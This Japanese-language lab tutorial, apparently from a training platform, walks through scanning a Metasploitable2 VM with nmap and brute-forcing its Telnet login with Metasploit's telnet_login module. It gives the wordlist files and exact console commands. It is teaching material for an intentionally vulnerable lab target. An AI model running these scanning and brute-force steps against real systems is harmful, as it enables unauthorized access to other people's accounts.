Metasploit を使用した Telnet サービスの脆弱性攻撃

NmapBeginner
オンラインで実践に進む

はじめに

この実験では、Telnet サービスの脆弱性を攻撃し、ペネトレーションテスト(侵入テスト)を実行する方法を学びます。攻撃側のマシンとして Kali Linux コンテナを、標的となるマシンとして Metasploitable2 仮想マシンを使用します。標的マシンに対して脆弱性スキャンを行い、Telnet サービスの脆弱性を特定し、Metasploit Framework を使用して攻撃を仕掛けることが目的です。

実験環境の起動

このステップでは、Kali Linux コンテナと Metasploitable2 仮想マシンを含む実験環境を起動します。

  1. LabEx ホストマシン上で xfce ターミナルを開き、以下のコマンドを実行して Metasploitable2 ターゲットを起動します。
sudo virsh start Metasploitable2

ターゲットマシンが起動するまで待ちます(1〜3分程度かかる場合があります)。

  1. ping を送信して、ターゲットマシンへの接続を確認します。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

  1. Kali Linux コンテナを起動し、以下のコマンドで bash 環境に入ります。
docker run -ti --network host b5b709a49cd5 bash
  1. Kali コンテナ内で、ターゲットマシンへのネットワーク接続を確認します。
ping 192.168.122.102

Ctrl+C を押して ping を停止します。

これで攻撃マシンとターゲットマシンの両方が起動しました。ペネトレーションテストを開始できます。

注意: 誤って現在の bash を終了してしまった場合、Kali コンテナは自動的に停止します。ホスト上で再度 docker run -ti --network host b5b709a49cd5 bash を実行すれば、新しい Kali コンテナが起動し、実験を継続できます。

脆弱性スキャンの実行

このステップでは、Nmap を使用してターゲットマシンのオープンポートとサービスをスキャンします。

まず、Metasploit がデータ保存に使用する PostgreSQL データベースを起動します。

service postgresql start
msfdb init
cd ~
msfconsole

Metasploit コンソール内で、ターゲットマシンに対して Nmap スキャンを実行します。

nmap -sV -T4 192.168.122.102

-sV オプションはオープンポートをスキャンして詳細なサービス情報を表示し、-T4 はスキャンのタイミングポリシーを設定します(0〜5の範囲で、値が大きいほど高速ですが、ネットワーク負荷が高くなります)。

スキャン結果の分析

このステップでは、Nmap のスキャン結果を分析し、脆弱な Telnet サービスを特定します。

Nmap のスキャン出力から、ポート 23 で「Linux telnetd」というバナーを持つ Telnet サービスが実行されていることがわかります。対応する Metasploit モジュールを検索してみましょう。

search scanner/telnet

auxiliary/scanner/telnet/telnet_login モジュールを使用します。

use auxiliary/scanner/telnet/telnet_login

モジュールのオプションを表示します。

show options

必須オプションは RHOSTS で、これはターゲットホストを指定するものです。

Ctrl+D を押して Metasploit コンソールを終了し、検証を開始してください

ユーザー名とパスワードの辞書作成

このステップでは、ログインのブルートフォース攻撃(総当たり攻撃)に使用するユーザー名とパスワードの辞書ファイルを作成します。

ファイルを作成する前に、Kali コンテナのシェルに戻ります。まだ msfconsole 内にいる場合は、Ctrl+D を押してコンテナのシェルに戻ってください。プロンプトが root@...:/# のようになっているはずです。

以下のユーザー名を含む /username.txt を作成します。

cat > /username.txt <<'EOF'
123456
admin
msfadmin
root
kali
EOF

以下のパスワードを含む /password.txt を作成します。

cat > /password.txt <<'EOF'
abc123
1234
123456
root
msfadmin
admin
toor
EOF

これらのファイルは、ブルートフォース攻撃の辞書として使用されます。

Metasploit モジュールの設定

このステップでは、ターゲットホスト、ユーザー名辞書、パスワード辞書を指定して Metasploit モジュールを設定します。

まず、Metasploit コンソールに入っていない場合は、起動してください。

cd ~
msfconsole

auxiliary/scanner/telnet/telnet_login モジュールを使用します。

use auxiliary/scanner/telnet/telnet_login

ターゲットホストを設定します。

set RHOSTS 192.168.122.102

ユーザー名辞書ファイルを指定します。

set USER_FILE /username.txt

パスワード辞書ファイルを指定します。

set PASS_FILE /password.txt

最後に、攻撃を実行します。

exploit

Metasploit は、提供された辞書からさまざまなユーザー名とパスワードの組み合わせを試行し始めます。有効な認証情報が見つかると、緑色で表示されます。

今回のケースでは、有効な認証情報は msfadmin/msfadmin です。

Ctrl+D を押して Metasploit コンソールを終了し、検証を開始してください

まとめ

この実験では、Metasploit Framework を使用して Telnet サービスの脆弱性を攻撃する方法を学びました。まず、Kali Linux 攻撃マシンと Metasploitable2 ターゲットマシンを使用して実験環境を構築しました。次に、Nmap を使用して脆弱性スキャンを行い、オープンな Telnet サービスを特定しました。その後、ユーザー名とパスワードの辞書を作成し、ターゲットホストと辞書ファイルを指定して Metasploit モジュールを設定しました。最後に、攻撃を実行し、Telnet のログイン認証情報をブルートフォースで特定することに成功しました。

この実験を通じて、ペネトレーションテスト、脆弱性スキャン、および脆弱性攻撃のための Metasploit Framework の利用に関する実践的な経験を積むことができました。また、安全なパスワード管理の重要性と、脆弱または推測されやすい認証情報を使用することのリスクを再確認しました。